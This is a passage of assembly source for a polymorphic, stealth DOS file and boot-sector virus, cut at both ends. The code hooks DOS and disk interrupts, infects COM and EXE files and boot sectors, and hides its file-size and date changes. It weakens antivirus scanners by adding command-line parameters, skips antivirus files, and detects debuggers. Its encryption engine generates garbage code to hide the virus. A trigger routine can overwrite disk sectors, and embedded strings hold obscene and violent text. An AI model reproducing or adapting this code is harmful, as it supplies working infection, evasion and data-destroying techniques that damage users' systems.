Clean_By_Handle CMP AX, 4202h ; Seek EOF (handle). JE Stealth_Seek CMP AX, 5700h ; Get filedate & time. JE Stealth_Filedate CMP AH, 3Dh ; Open file (handle). JE Check_Inf_File CMP AX, 6C00h ; Extended open. JE Check_Inf_File CMP AH, 41h ; Delete file. JE Check_Inf_File CMP AH, 43h ; Get/set file-attributes. JE Check_Inf_File CMP AX, 4B00h ; Execute file. JE Init_Exec CMP AX, 4B01h ; Load file (debuggers). JE Clean_By_File CMP AX, Res_Check_i21h ; Residency-check. JE Ret_Mark_i21h JMP_Int21h: JMP DWORD PTR CS:i21h ; JMP to old INT 21h address. Dir_Fetch_Path: CALL Push_All PUSH CS POP ES MOV SI, DX MOV DI, OFFSET Dir_Path CLD Get_Char_Path: LODSB STOSB OR AL, AL ; End of ASCIIZ-path reached? JNZ Get_Char_Path DEC DI MOV AL, '\' ; Find start filespec/name. STD REPNE SCASB INC DI ; Offset after '\'. INC DI MOV CS:End_Dir_Path, DI ; Save offset filename. CALL Pop_All Dir_Infect: CALL Int21h ; Execute function. CALL Push_All JC Exit_Dir_Infect CALL Check_Stealth JE Exit_Dir_Infect MOV AH, 2Fh ; Get DTA-address. CALL Traced_Int21h CMP BYTE PTR ES:[BX.Handle_Date+1], Infected_Date JB Do_Dir_Infect SUB BYTE PTR ES:[BX.Handle_Date+1], Century SUB WORD PTR ES:[BX.Handle_Size], Netto_Size SBB WORD PTR ES:[BX.Handle_Size+2], 0 Do_Dir_Infect: IN AX, 40h ; Get random # in AL. XOR AL, AH CMP AL, 30 ; Should we infect on dir? JA Exit_Dir_Infect PUSH ES POP DS LEA SI, [BX+1Eh] ; DS:SI = filename in DTA. MOV DI, 0000h End_Dir_Path = WORD PTR $-2 PUSH CS POP ES CLD Format_String: LODSB ; Load character. OR AL, AL ; End of ASCIIZ-filename? JZ End_Found_ff CMP AL, ' ' ; Skip spaces. JE Skip_Char STOSB ; Store character buffer. Skip_Char: JMP Format_String End_Found_ff: STOSB ; Store zero. PUSH CS POP DS MOV AX, 4300h ; Get attributes via our MOV DX, OFFSET Dir_Path ; hooked INT, so our virus INT 21h ; will infect the file. Exit_Dir_Infect: CALL Pop_All RETF 2 ; Return to caller. Stealth_Size_FCB: CALL Int21h ; Do find. CALL Push_All OR AL, AL ; Error? JNZ Exit_Stealth_F CALL Check_Stealth JE Exit_Stealth_F MOV AH, 2Fh ; Get DTA-address. CALL Traced_Int21h CMP BYTE PTR ES:[BX], 0FFh ; Is it an extended FCB ? JNE No_Ext_FCB ADD BX, 7 ; Skip extended FCB-block. No_Ext_FCB: CMP BYTE PTR ES:[BX.FCB_Date+1], Infected_Date JB Exit_Stealth_F SUB BYTE PTR ES:[BX.FCB_Date+1], Century SUB WORD PTR ES:[BX.FCB_Size], Netto_Size SBB WORD PTR ES:[BX.FCB_Size+2], 0 Exit_Stealth_F: JMP Exit_Dir_Infect DB 'Legalize arms!' Init_Exec: CALL Add_Params Check_Inf_File: CALL Push_All CALL Hook_Int24h CMP AX, 6C00h ; Extended open? JNE No_Ext_Open MOV DX, SI ; Then correct parameter. No_Ext_Open: CALL Check_Filename JC JMP_Exit_Inf PUSH DX MOV AH, 19h ; Get current drive. CALL Traced_Int21h XCHG DX, AX INC DX ; AH=36h starts with A=1 etc. MOV AH, 36h ; Get free diskspace. CALL Traced_Int21h MUL BX ; Get amount of free sectors. OR DX, DX ; File > 64k ? POP DX JNZ Conditions_OK CMP AX, 64 ; At least 64 sectors free? JNB Conditions_OK JMP_Exit_Inf: JMP Exit_Infect Conditions_OK: MOV AX, 3D02h ; Open candidate file. CALL Traced_Int21h JC JMP_Exit_Inf XCHG BX, AX ; BX = filehandle. CALL Check_Handle JNZ Abort_Check PUSH CS POP DS PUSH CS POP ES CALL Read_Header CMP [SI.Checksum], Marker_File JE Abort_Check XOR BP, BP CMP [SI.EXE_Mark], 'ZM' ; Host is a .EXE-file? JNE No_Init_EXE INC BP ; Host is .EXE-type. ; Don't infect any Windoze files. CMP [SI.Offs_RelocTable], 40h JNB Abort_Check No_Init_EXE: CALL Go_EOF OR DX, DX ; File bigger then 64k ? JNZ Infect_File CMP AX, 60 ; File too small? JB Abort_Check CMP AX, (65535 - (Netto_Size + 1024)) JA Abort_Check CALL Check_File_Date JB Infect_File Abort_Check: JMP Inf_Close_File Infect_File: PUSH CX ; Save filedate & time. PUSH DX PUSH SI MOV DI, OFFSET Host_Bytes ; Save host' original header. MOV CX, (24 / 2) CLD REP MOVSW POP SI CALL Go_EOF DEC BP ; Host is a .EXE-file? JZ Infect_EXE Infect_COM: ADD AX, (OFFSET Virus_End - 3) MOV [SI.Jump], 0E9h ; JMP opcode. MOV [SI.Displacement], AX SUB AX, (OFFSET Virus_End - 3) - 100h XCHG BP, AX JMP Set_Header Infect_EXE: MOV CX, 16 ; Calculate virus' new CS:IP. DIV CX SUB AX, [SI.Headersize_Para] MOV BP, DX ADD DX, OFFSET Virus_End MOV [SI.Program_CS], AX MOV [SI.Program_IP], DX INC AX ; SS > CS. MOV [SI.Program_SS], AX MOV [SI.Program_SP], (Virus_Size_Mem * 16) - 16 ADD [SI.Min_Mem_Para], Virus_Size_Mem + 2 CALL Go_EOF ADD AX, Netto_Size ADC DX, CX MOV CX, 512 ; Calculate 512-byte pages. DIV CX OR DX, DX ; Precise division? JZ No_Round INC AX ; Else round upwards. No_Round: MOV [SI.Image_512_Pages], AX MOV [SI.Image_Mod_512], DX Set_Header: MOV [SI.Checksum], Marker_File CALL Adjust_Poly_Decryptor MOV AH, 40h ; Append polymorphic MOV CX, Netto_Size ; encrypted virus. MOV DX, OFFSET Buffer CALL Traced_Int21h CALL Go_BOF MOV AH, 40h ; Write updated header. MOV CX, 24 MOV DX, SI CALL Traced_Int21h MOV AX, 5701h ; Restore filedate & time. POP DX POP CX ADD DH, Century ; Set infected date. CALL Traced_Int21h Inf_Close_File: MOV AH, 3Eh ; Close file. CALL Traced_Int21h Exit_Infect: CALL Unhook_Int24h CALL Pop_All JMP JMP_Int21h DB 'Germany-1998' Check_Trigger: CALL Push_All PUSH AX IN AX, 40h XCHG BX, AX IN AX, 40h XOR AX, BX RCL AX, 1 CMP AX, 30 POP AX JA Exit_Trigger PUSH CS POP ES MOV AH, 03h XOR BX, BX IF Pussy_Mode EQ No_way_lets_kick_ass CALL Traced_Int13h ENDIF Exit_Trigger: CALL Pop_All RETN DB 'Filled of hate, determined to kill' Ret_Mark_i13h: CMP DS:[SI.Sign_Legal_Call], Marker_Call_OK JE Caller_i13h_OK JMP Activate Caller_i13h_OK: MOV AX, Marker_i13h IRET Stealth_Home: CMP DL, 80h ; Only on harddisks. JB JMP_i13h CALL Push_All CMP AH, 03h ; Write(s) ? JNE Read_ZeroTrack MOV AH, 0Dh ; Reset harddisk. CALL Traced_Int13h OR AH, 00000011b ; Fake write protected. STC JMP Save_Values Read_ZeroTrack: MOV SI, AX ; Save # sectors read/write. CALL Int13h ; Do the read. Save_Values: MOV BP, SP PUSHF POP [BP.Reg_Flags] MOV [BP.Reg_AX], AX JC Exit_Stealth_Home XCHG AX, SI CBW MOV CL, 8 ; MUL 256. SHL AX, CL XCHG CX, AX XOR AX, AX MOV DI, BX CLD ; Fill sectorbuffer. REP STOSW Exit_Stealth_Home: CALL Pop_All RETF 2 ;============================================================================ ; INT 13h HANDLER ;============================================================================ NewInt13h: CMP AX, Res_Check_i13h ; INT 13h residency-check? JE Ret_Mark_i13h CMP AH, 02h ; Read sector(s) ? JB JMP_i13h CMP AH, 03h ; Write sector(s) ? JA JMP_i13h JMP No_i21h_Check JMP_Databyte = BYTE PTR $-1 CALL Check_Int21h No_i21h_Check: CALL Check_Trigger ; Corrupt sector(s) ? OR DH, DH ; Head zero? JNZ JMP_i13h OR CH, CH ; Track zero? JNZ JMP_i13h CMP CL, 01h ; Bootsector/MBS ? JNE Stealth_Home MOV CS:Int13h_AH, AH ; Save function. CALL Int13h ; Execute function. JC Do_RETF2 CALL Check_Inf_Boot Do_RETF2: RETF 2 ; Return to our caller. JMP_i13h: JMP DWORD PTR CS:i13h DB '1H8U' Check_Inf_Boot: CALL Push_All PUSH ES POP DS CMP DS:[BX.Sign_Boot], Mark_Boot ; Already infected? JNE Init_Infect_Boot MOV AX, 0201h ; Read original encrypted MOV CX, DS:[BX.Stored_TS] ; boot. MOV DX, DS:[BX.Stored_HD] PUSH DS:[BX.Key_Stored_Boot] CALL Traced_Int13h POP AX ; Decrypt boot. MOV CX, (512 / 2) CALL Word_Crypt JMP Exit_Inf_Boot Init_Infect_Boot: CMP DL, 80h ; Fixed disk? JB Calc_Storage MOV CL, 09h JMP Infect_Boot ; Calculate track where we store ourself. Calc_Storage: PUSH DX MOV AX, DS:[BX.bs_Num_Sectors] XOR DX, DX MOV CX, DS:[BX.bs_Sector_Track] DIV CX MOV CX, DS:[BX.bs_Number_Heads] PUSH CX DIV CX DEC AX ; CH = new track. MOV CH, AL MOV CL, 02h ; Starting sector 2. POP AX DEC AX POP DX MOV DH, AL Infect_Boot: MOV CS:Stored_TS, CX MOV CS:Stored_HD, DX PUSH CX PUSH CS POP ES MOV SI, BX ; Copy read bootsector to MOV DI, OFFSET Buffer ; our buffer. MOV CX, (512 / 2) CLD REP MOVSW PUSH CS POP DS CMP Int13h_AH, 03h ; No check on writes. JE Error_Read_ID IF Pussy_Mode EQ Yes_dont_hurt_me JMP Error_Read_ID ENDIF MOV AX, 0201h ; Read ID-sector. MOV BX, OFFSET Buffer + 512 POP CX PUSH CX DEC CX CALL Traced_Int13h JC Error_Read_ID MOV AX, [BX+2] ; AX = encrypted signature. XOR AX, [BX] ; Decrypt signature. CMP AX, Mark_ID_Sector ; This our marker? JNE Write_Read_ID JMP Activate Write_Read_ID: IN AX, 40h ; Get encryption-key. MOV [BX], AX ; Store it. XOR AX, Mark_ID_Sector ; Encrypt mark. MOV [BX+2], AX ; Store encrypted mark. MOV AX, 0301h ; Write ID-sector. CALL Traced_Int13h Error_Read_ID: Get_New_Rand1: IN AX, 40h ; Get random encryption-key. OR AX, AX ; Avoid zero-encryption. JZ Get_New_Rand1 MOV Key_Stored_Boot, AX CALL Crypt_Boot ; Encrypt boot in buffer. MOV SI, 512 ; Copy body to buffer for MOV DI, OFFSET Buffer + 512 ; encryption. MOV CX, (Body_Sectors * 512) / 2 CLD REP MOVSW Get_New_Rand2: IN AX, 40h ; Get semi-random key. OR AX, AX ; Avoid zero-encryption. JZ Get_New_Rand2 MOV Key_Virus_Body, AX MOV BX, OFFSET Buffer + 512 ; Encrypt virusbody. MOV CX, (Body_Sectors * 512) / 2 CALL Word_Crypt POP CX MOV AX, 0301h+Body_Sectors ; Store original boot plus MOV BX, OFFSET Buffer ; virusbody. PUSH BX CALL Traced_Int13h CALL Crypt_Boot ; Decrypt boot. Get_New_Rand3: IN AL, 40h ; Get random. OR AL, AL JZ Get_New_Rand3 MOV Key_Virus_Boot, AL MOV SI, 62 ; Copy virus into boot. MOV DI, OFFSET Buffer + 62 MOV CX, (512 - 64) / 2 CLD REP MOVSW ADD BX, OFFSET Encrypted_Boot MOV CX, Encr_Loadersize Encrypt_Byte: XOR [BX], AL INC BX LOOP Encrypt_Byte POP BX ; BX=OFFSET Buffer. MOV [BX], 3CEBh ; JMP SHORT virus. MOV AX, 0301h ; Write new infected boot. INC CX ; CX=0001h. XOR DH, DH CALL Traced_Int13h Exit_Inf_Boot: CALL Pop_All RETN Check_Stealth: CALL Push_All PUSH CS POP DS MOV BP, SP MOV SI, [BP.Reg_Ret_Addr] ; SI = return-address. CMP BYTE PTR [SI], 0CCh ; Being debugged? JNE No_Breakpoint MOV [BP.Reg_Ret_Addr], OFFSET Activate No_Breakpoint: MOV AH, 62h ; Get PSP of current process. CALL Traced_Int21h DEC BX ; Get MCB. MOV ES, BX ; ES:DI = Programname. MOV DI, 08h MOV SI, OFFSET Tabel_Inactive Compare: CLD LODSB CBW OR AX, AX ; End of table? JZ End_Reached PUSH DI MOV BP, AX PUSH SI XCHG CX, AX REPE CMPSB POP SI ADD SI, BP POP DI OR CX, CX JNZ Compare End_Reached: OR CX, CX MOV BP, SP PUSHF POP [BP.Reg_Flags] CALL Pop_All RETN Tabel_Inactive DB 6, 'CHKDSK' DB 5, 'PKZIP' DB 3, 'ARJ' DB 3, 'LHA' DB 3, 'RAR' DB 6, 'BACKUP' DB 5, 'MODEM' DB 5, 'TELIX' DB 0 Crypt_Boot: MOV AX, Key_Stored_Boot MOV BX, OFFSET Buffer MOV CX, (512 / 2) CALL Word_Crypt RETN ; Dedicated to the two founders of Apple, Steve Wozniak & Steve Jobs, ; these ppl actually WORKED for their products, instead of those Microfuck ; lamers which only became so "successful" coz they had the big bucks. DB 'Respect2AppleSteves' Hook_Int21h: CALL Push_All PUSH CS POP DS MOV JMP_Databyte, (No_i21h_Check - JMP_Databyte) - 1 XOR DI, DI CLD IN AX, 40h ; Overwrite JMP boot with STOSW ; garbage (no signatures). IN AL, 40h STOSB MOV Random, AX ; Initialize random seed. CALL Setup_Poly_Decryptor MOV AX, 21h * 4 ; Tunnel INT 21h. CALL Trace_Interrupt MOV AX, 2521h ; Hook INT 21h. MOV DX, OFFSET NewInt21h CALL Traced_Int21h CALL Pop_All RETN Hook_Int24h: CALL Push_All PUSH CS POP DS MOV AX, 3524h CALL Traced_Int21h MOV i24h, BX MOV i24h+2, ES MOV AH, 25h MOV DX, OFFSET NewInt24h CALL Traced_Int21h CALL Pop_All RETN Unhook_Int24h: CALL Push_All MOV AX, 2524h LDS DX, DWORD PTR CS:i24h CALL Traced_Int21h CALL Pop_All RETN ;----------------------------------------------------------------------- ; Compares if specific programs are going to be executed, and if so, it ; adds specific parameters. Note that this routine is table-driven. ;----------------------------------------------------------------------- Add_Params: CALL Push_All PUSH ES PUSH DS POP ES PUSH CS POP DS XOR AL, AL ; Find end ASCIIZ-string. MOV CX, 0FFFFh PUSH CX MOV DI, DX CLD REPNZ SCASB DEC DI MOV AL, '\' ; Find start filename. POP CX ; CX=0FFFFh. STD REPNE SCASB INC DI INC DI MOV SI, OFFSET Tbl_Add_Params CLD Compare_Name: LODSB ; AX = length filename. CBW OR AX, AX ; End of table? JZ End_Of_Table XCHG DX, AX ; DX = length filename. MOV BP, DX LODSB ; AX = length parameters. CBW PUSH DI PUSH SI PUSH AX Scan_Byte: LODSB MOV AH, ES:[DI] CMP AH, 'a' ; Convert this shit to JB No_Change_Case ; uppercase. CMP AH, 'z' JA No_Change_Case SUB AH, 'a' - 'A' No_Change_Case: CMP AL, AH JNE Stop_Compare INC DI DEC BP JNZ Scan_Byte Stop_Compare: POP AX POP SI ADD SI, DX ; Plus length filename. ADD SI, AX ; Plus length params. POP DI OR BP, BP JNZ Compare_Name End_Of_Table: POP ES OR AX, AX JZ Exit OR BP, BP JNZ Exit MOV CX, AX SUB SI, AX LES DI, ES:[BX+2] ; ES:DI = end of params. XOR BX, BX ; BX = length params. MOV BL, ES:[DI] INC AX ; Inclusive space. ADD ES:[DI], AL INC DI ; Skip counter. ADD DI, BX MOV AL, 20h ; Store a space. CLD STOSB CLD ; Store the parameter(s). REP MOVSB MOV AL, 0Dh ; Store . CLD STOSB Exit: CALL Pop_All RETN Tbl_Add_Params: DB 10, 11, 'F-PROT.EXE', '/nomem /old' DB 10, 09, 'TBSCAN.EXE', 'nm co old' DB 08, 16, 'SCAN.EXE', '/nomem /noexpire' DB 07, 04, 'WIN.COM', '/d:f' DB 10, 07, 'PRINCE.EXE', 'megahit' ; hehe... DB 0 NewInt24h: MOV AL, 03h IRET Sign_Legal_Call DW Marker_Call_OK DB 'I fucked your girlfriend last night. While you ' DB 'snored and drooled I fucked your love. She called ' DB 'me daddy, and I called her baby when I smacked her ' DB 'ass. I called her sugar when I ate her alive till ' DB 'daylight. And I slept with her all over me, from ' DB 'forehead to ribcage I dripped her ass...', 0 DB '! PANTERA RULES !' ;------------------------------------------------------- ; Returns CF set if the filename in DS:DX is illegal, ; like a non .COM or .EXE-file, or a antivirus-program. ;------------------------------------------------------- Check_Filename: CALL Push_All PUSH DS POP ES XOR AL, AL ; Find end of ASCIIZ-string. MOV CX, 0FFFFh MOV DI, DX CLD REPNZ SCASB Check_Word: MOV AX, [DI-4] AND AX, 1101111111011111b ; To uppercase. CMP AX, 'OC' ; .CO? ? JE Check_Byte CMP AX, 'XE' ; .EX? ? JNE Carry_Exit Check_Byte: MOV AL, [DI-2] AND AL, 11011111b CMP AL, 'M' ; ??M ? JE Extension_OK CMP AL, 'E' ; ??E ? JNE Carry_Exit Extension_OK: DEC DI MOV AL, '\' ; Find start filename. MOV CX, 0FFFFh STD REPNE SCASB MOV BP, OFFSET No_Inf_Table CLD Next_Entry_AV: MOV SI, DI MOV DX, CS:[BP] XOR DX, 8Ah ; Decrypt word. JZ No_Carry_Exit ; End of table? INC BP ; Next entry. INC BP Scan_Filename: LODSW ; Get word filename. CMP AL, '.' ; End reached? JE Next_Entry_AV CMP AX, DX ; Found an illegal word? JE Carry_Exit DEC SI ; Byte-scan. JMP Scan_Filename No_Carry_Exit: CLC JMP Set_Flags Carry_Exit: STC Set_Flags: MOV BP, SP PUSHF ; Set flags in stack. POP [BP.Reg_Flags] CALL Pop_All RETN ;------------------------------------------------------------- ; Table of encrypted words, if one of these words is found in ; a candidate filename (any position), infection is rejected. ;------------------------------------------------------------- No_Inf_Table DW 'BT' XOR 8Ah ; ThunderByte utilities. DW '-F' XOR 8Ah ; F-Prot. DW 'CS' XOR 8Ah ; SCAN DW 'IV' XOR 8Ah ; VIRSCAN, VIRUSCAN DW 'VA' XOR 8Ah ; NAV, AVP, MSAV, CPAV DW 'VI' XOR 8Ah ; Invircible. DW 'RD' XOR 8Ah ; DrWeb DW 000h XOR 8Ah ; End of table. Get_Random2: MOV AX, 2 JMP Get_Random Get_Random3: MOV AX, 3 JMP Get_Random Get_Random4: MOV AX, 4 JMP Get_Random Get_Random7: MOV AX, 7 ;--------------------------------------------------------------- ; Generates random within range of AX starting with zero. This ; is a optimized/modified version of the one included in N.E.D. ;--------------------------------------------------------------- Get_Random: PUSH CX PUSH DX PUSH AX RCL CS:Random, 1 ; Adjust seed for randomness. ADD CS:Random, 666h ; Adjust it again. XOR AH, AH ; BIOS get timer function. INT 1Ah XOR CS:Random, DX ; XOR seed by BIOS timer CWD ; Clear DX for division... MOV AX, 0000h ; Return number in AX. Random = WORD PTR $-2 ; Seed for generator. POP CX ; CX holds max value DIV CX ; DX = AX % max_val XCHG AX, DX ; AX holds final value POP DX POP CX OR AX, AX ; AX is zero? CLD ; Could be changed by INT. RETN ; Return to caller ; School, State, Parents, Cops, etc, etc. DB 'Self proclaimed gods' ;============================================================================ ; POLYMORPHIC ENGINE ;============================================================================ Max_CALL_Entry EQU 10 ; Number of entries in subroutine table. Max_Decryptor EQU 128 ; Maximal size of poly-decryptor in bytes. Min_Layers EQU 4 Max_Layers EQU 10 Min_CALL EQU 3 Min_Decryptor EQU 96 ; Minimal size of poly-decryptor in bytes. ; Encryption algoritms: 0 = ADD ; 1 = SUB ; 2 = XOR ; 3 = INC ; 4 = DEC ; 5 = NOT ; 6 = NEG ; 7 = ROL ; 8 = ROR DB '[SFW]' ; So Fucking What?! Adjust_Poly_Decryptor: CALL Push_All XOR SI, SI ; Copy virus to buffer for MOV DI, OFFSET Buffer ; encryptions. MOV CX, Virus_Size CLD REP MOVSB MOV AL, Key_Fix_Layer MOV CX, (OFFSET Decrypt_2 - (3 + 24)) MOV DI, OFFSET Buffer + (3 + 24) Encr_Internal: XOR [DI], AL ; Encrypt internal fixed INC DI ; layer. LOOP Encr_Internal ; ENCRYPT POLY LAYERS. MOV CX, 0000h Max_Algo = WORD PTR $-2 Encrypt_Layer: PUSH CX MOV AX, CX DEC AX MOV BX, OFFSET Encrypt_Algo XLAT MOV SI, OFFSET Tbl_Encryptors ADD SI, AX ADD SI, AX XCHG DX, AX LODSW MOV Encryptor, AX MOV BX, OFFSET Decrypt_Key MOV AX, CX DEC AX XLAT CMP DL, 3 ; Algorithm requires a key? JB Store_Encr_Key MOV AL, 90h ; NOP Store_Encr_Key: MOV Key_Poly_Layer, AL JMP $+2 ; Clear prefetcher, else this ; shit doesn't work on 486's. MOV CX, (Virus_Size - (3 + 24)) MOV DI, OFFSET Buffer + (3 + 24) Encr_Poly: XOR BYTE PTR [DI], 00h ; Encrypt code. Key_Poly_Layer = BYTE PTR $-1 Encryptor = WORD PTR $-3 INC DI LOOP Encr_Poly POP CX LOOP Encrypt_Layer MOV SI, OFFSET Decrypt_Delta MOV CX, Max_Algo Patch_Delta: LODSW XCHG DI, AX MOV AX, BP ; Start encrypted. SUB AX, 0000h Base_Ptr_Val = WORD PTR $-2 TEST Poly_Status, 00000001b ; Get direction. JNZ Back_Decrypt Fore_Decrypt: ADD AX, (3 + 24) JMP Store_Decrypt Back_Decrypt: ADD AX, Virus_Size - 1 Store_Decrypt: STOSW LOOP Patch_Delta MOV DI, 0000h CMP_Val = WORD PTR $-2 MOV AX, Base_Ptr_Val TEST Poly_Status, 00000001b ; Get direction. JNZ Back_CMP ADD AX, Virus_Size - (3 + 24) JMP aa2 Back_CMP: SUB AX, (Virus_Size - (3 + 24)) - 1 aa2: STOSW ; Add polymorphic decryptor. MOV CX, (Max_Decryptor / 2) MOV SI, OFFSET Poly_Decryptor MOV DI, OFFSET Buffer + Virus_Size CLD REP MOVSW CALL Pop_All RETN ; Initializes variables for poly engine and generates a polymorphic decryptor ; in memory. Setup_Poly_Decryptor: CALL Push_All MOV Old_SS, SS MOV Old_SP, SP PUSH CS POP SS MOV SP, (Virus_Size_Mem * 16) AND Max_Algo, 0 MOV AX, (Max_Layers - Min_Layers) CALL Get_Random ADD AX, Min_Layers ; Minimal # encrypted layers. XCHG CX, AX MOV DI, OFFSET Encrypt_Algo Pick_Algo: MOV AX, 9 ; ADD/SUB/XOR/INC/DEC/ CALL Get_Random ; NOT/NEG/ROL/ROR ? STOSB MOV BX, Max_Algo IN AL, 40h MOV Decrypt_Key[BX], AL INC Max_Algo LOOP Pick_Algo ; Choose pointer-register. CALL Get_Random4 ; BX/SI/DI/BP ? MOV Ptr_Reg, AL IN AL, 40h ; Get random key for internal MOV Key_Fix_Layer, AL ; fixed decryptor. CALL Get_Random2 ; Pick decryption direction. MOV Poly_Status, AX Poly_Generator: XOR AX, AX ; Clear CALL-IP buffer. MOV CX, Max_CALL_Entry MOV DI, OFFSET Tbl_CALL_Dest CLD REP STOSW AND CALLs_Made, 0 MOV DI, OFFSET Poly_Decryptor MOV BP, 0000h Poly_Status = WORD PTR $-2 CALL Add_Garbage ;-------------- SETUP BASE POINTER ------------------------------------------ MOV AL, 00h Ptr_Reg = BYTE PTR $-1 MOV BX, OFFSET MOV_Reg16 XLAT ; MOV Ptr_Reg, STOSB IN AX, 40h ; Random value. MOV Base_Ptr_Val, AX ; Save base value. STOSW CALL Add_Garbage ;-------------- DECRYPT BYTE ------------------------------------------------ MOV Decr_Loop, DI MOV CX, Max_Algo XOR DX, DX MOV SI, OFFSET Encrypt_Algo Make_Decryptor: PUSH CX MOV AL, 2Eh ; CS: STOSB LODSB XOR AH, AH PUSH AX PUSH SI XCHG SI, AX ADD SI, OFFSET Tbl_Decr_Opcode LODSB STOSB POP SI POP AX PUSH AX MOV BX, OFFSET Tbl_Crypt_Index XLAT CBW SHL AX, 2 ; MUL 4 MOV BX, OFFSET Ptr_Addr ADD BX, AX MOV AL, Ptr_Reg XLAT STOSB MOV BX, OFFSET Decrypt_Delta ADD BX, DX MOV [BX], DI STOSW ; Dummy displacement. POP AX CMP AL, 2 JA No_Key_Needed_Decr MOV AL, [SI+Max_Layers-1] ; Store decryption-key. STOSB ; (OFFSET Decrypt_Key+index). No_Key_Needed_Decr: PUSH DX PUSH SI CALL Add_Garbage POP SI POP DX POP CX INC DX INC DX LOOP Make_Decryptor ;-------------- CHANGE POINTER REGISTER ------------------------------------- INC CX ; CX=0001h. TEST Poly_Status, 00000001b ; Get direction. JNZ Backwards_Decrease MOV AX, 5 CALL Get_Random ; INC/ADD_8/ADD_16/ JZ ADD_Ptr_8 ; +SUB_8/+SUB_16 ? DEC AX JZ ADD_Ptr_16 DEC CX ; CX=FFFFh. DEC CX DEC AX JZ pSUB_Ptr_8 DEC AX JZ pSUB_Ptr_16 CALL Make_INC_Reg16 JMP Make_CMP_Boundary ADD_Ptr_8: CALL Make_ADD_8_Reg16 ; (CL=01h) JMP Make_CMP_Boundary ADD_Ptr_16: CALL Make_ADD_16_Reg16 ; (CX=0001h) JMP Make_CMP_Boundary pSUB_Ptr_8: CALL Make_SUB_8_Reg16 ; (CL=FFh). JMP Make_CMP_Boundary pSUB_Ptr_16: CALL Make_SUB_16_Reg16 ; (CX=FFFFh). JMP Make_CMP_Boundary Backwards_Decrease: MOV AX, 5 CALL Get_Random ; DEC/SUB_8/SUB_16 ? JZ SUB_Ptr_8 ; -ADD_8/-ADD_16 ? DEC AX JZ SUB_Ptr_16 DEC CX ; CX=FFFFh. DEC CX DEC AX JZ nADD_Ptr_8 DEC AX JZ nADD_Ptr_16 CALL Make_DEC_Reg16 JMP Make_CMP_Boundary SUB_Ptr_8: CALL Make_SUB_8_Reg16 JMP Make_CMP_Boundary SUB_Ptr_16: CALL Make_SUB_16_Reg16 JMP Make_CMP_Boundary nADD_Ptr_8: CALL Make_ADD_8_Reg16 ; (CL=FFh). JMP Make_CMP_Boundary nADD_Ptr_16: CALL Make_ADD_16_Reg16 ; (CX=FFFFh). ;-------------- CHECK BOUNDARY ---------------------------------------------- Make_CMP_Boundary: CALL Add_Garbage MOV AL, 81h ; CMP Ptr_Reg, STOSB MOV AL, Ptr_Reg MOV BX, OFFSET CMP_Reg16 XLAT STOSB MOV CMP_Val, DI STOSW ;-------------- JMP ENTRY IF DECRYPTION COMPLETED --------------------------- MOV AX, DI ; JE jmp_layer_2 SUB AX, OFFSET Poly_Decryptor - 4 NEG AX MOV AH, AL MOV AL, 74h STOSW CALL Add_Garbage ;-------------- JMP DECRYPTION LOOP ----------------------------------------- MOV AL, 0EBh ; JMP SHORT, STOSB MOV AX, DI ; JMP decrypt. SUB AX, 0000h Decr_Loop = WORD PTR $-2 NEG AX DEC AX STOSB CALL Add_Garbage CMP CALLs_Made, Min_CALL ; Encoded enough CALLs ? JB JMP_Poly_Gen ; Decryptor too small? CMP DI, OFFSET Poly_Decryptor + Min_Decryptor JB JMP_Poly_Gen ; Decryptor too large? CMP DI, OFFSET Poly_Decryptor + Max_Decryptor JNA Exit_Poly_Gen JMP_Poly_Gen: JMP Poly_Generator Exit_Poly_Gen: MOV AX, 0000h Old_SS = WORD PTR $-2 MOV SS, AX MOV SP, 0000h Old_SP = WORD PTR $-2 CALL Pop_All RETN ; << *** === ROUTINES POLYMORPHIC ENGINE === *** >> Add_Garbage: CALL Get_Random2 INC AX ; Prevent zero, and light ; garbage. XCHG CX, AX Dump_It: PUSH CX CALL Garbage_Generator POP CX CMP DI, OFFSET Poly_Decryptor + Max_Decryptor JA Exit_Garbage LOOP Dump_It Exit_Garbage: RETN Jnk_INT: MOV AX, (Tbl_INTs_End - Tbl_INTs) MOV BX, OFFSET Tbl_INTs CALL Get_Random RETN ; Standard stupid one-byte instructions. Jnk_One_Byte: MOV AX, (End_Garbage_Table_1 - Garbage_Table_1) MOV BX, OFFSET Garbage_Table_1 CALL Get_Random XLAT STOSB RETN Jnk_Two_Byte: MOV AX, (End_Garbage_Table_2 - Garbage_Table_2) / 2 CALL Get_Random SHL AX, 1 ; MUL 2 XCHG BX, AX MOV AX, OFFSET Garbage_Table_2[BX] STOSW RETN ; Makes a MOV Reg16 (non Ptr_Reg), random #. Jnk_MOV_Reg16: MOV BX, OFFSET MOV_Reg16 CALL Get_Random7 CMP AL, Ptr_Reg ; Don't use pointer-register. JE Jnk_MOV_Reg16 XLAT ; MOV Reg16, STOSB IN AX, 40h ; Stupid random value. STOSW RETN ; Generates a cover-up JMP to confuse debuggers/disassemblers, inspired ; by Havoc: ; ; CLC ; JNC Over_Byte ; ; DB 0EAh ; JMP FAR ; ; Over_Byte: ; Cover_JMP: MOV AX, 73F8h STOSW MOV AX, 0EA01h STOSW RETN Garbage_Generator: MOV AX, 19 ; Pick random garbageroutine. CALL Get_Random JZ Jnk_One_Byte DEC AX JZ Jnk_Two_Byte DEC AX JZ Jnk_MOV_Reg16 DEC AX JZ Jnk_INC_Reg16 DEC AX JZ Jnk_ADD_8_Reg16 DEC AX JZ Jnk_ADD_16_Reg16 DEC AX JZ Jnk_DEC_Reg16 DEC AX JZ Jnk_SUB_8_Reg16 DEC AX JZ Jnk_SUB_16_Reg16 DEC AX JZ Jnk_Make_CMPJMP DEC AX JZ Jnk_PUSHPOP DEC AX JZ Jnk_CALL_Gap DEC AX JZ Jnk_CALL_Gap DEC AX JZ Jnk_CALL DEC AX JZ Jnk_CALL DEC AX JZ Jnk_INT_Function DEC AX JZ Jnk_MOV_Reg8 DEC AX JZ Cover_JMP MOV AL, 0CDh ; INT opcode. STOSB MOV AX, (Tbl_INTs_End - Tbl_INTs) MOV BX, OFFSET Tbl_INTs CALL Get_Random XLAT ; Get INT#. STOSB RETN ; Random MOV Reg8 (non Ptr_Reg), immediate. Jnk_MOV_Reg8: MOV AX, 8 ; AL/AH/BL/BH/CL/CH/DL/DH ? MOV BX, OFFSET MOV_Reg8 CALL Get_Random CMP AL, 2 ; Avoid BL JB Do_MOV_Reg8 CMP AL, 3 ; Avoid BH JA Do_MOV_Reg8 CMP Ptr_Reg, 0 ; Ptr_Reg is BX ? JZ Jnk_MOV_Reg8 Do_MOV_Reg8: XLAT STOSB IN AL, 40h STOSB RETN Gen_JMP_8: ; Makes a CMP Reg8/Reg16 random. Jnk_Make_CMPJMP: 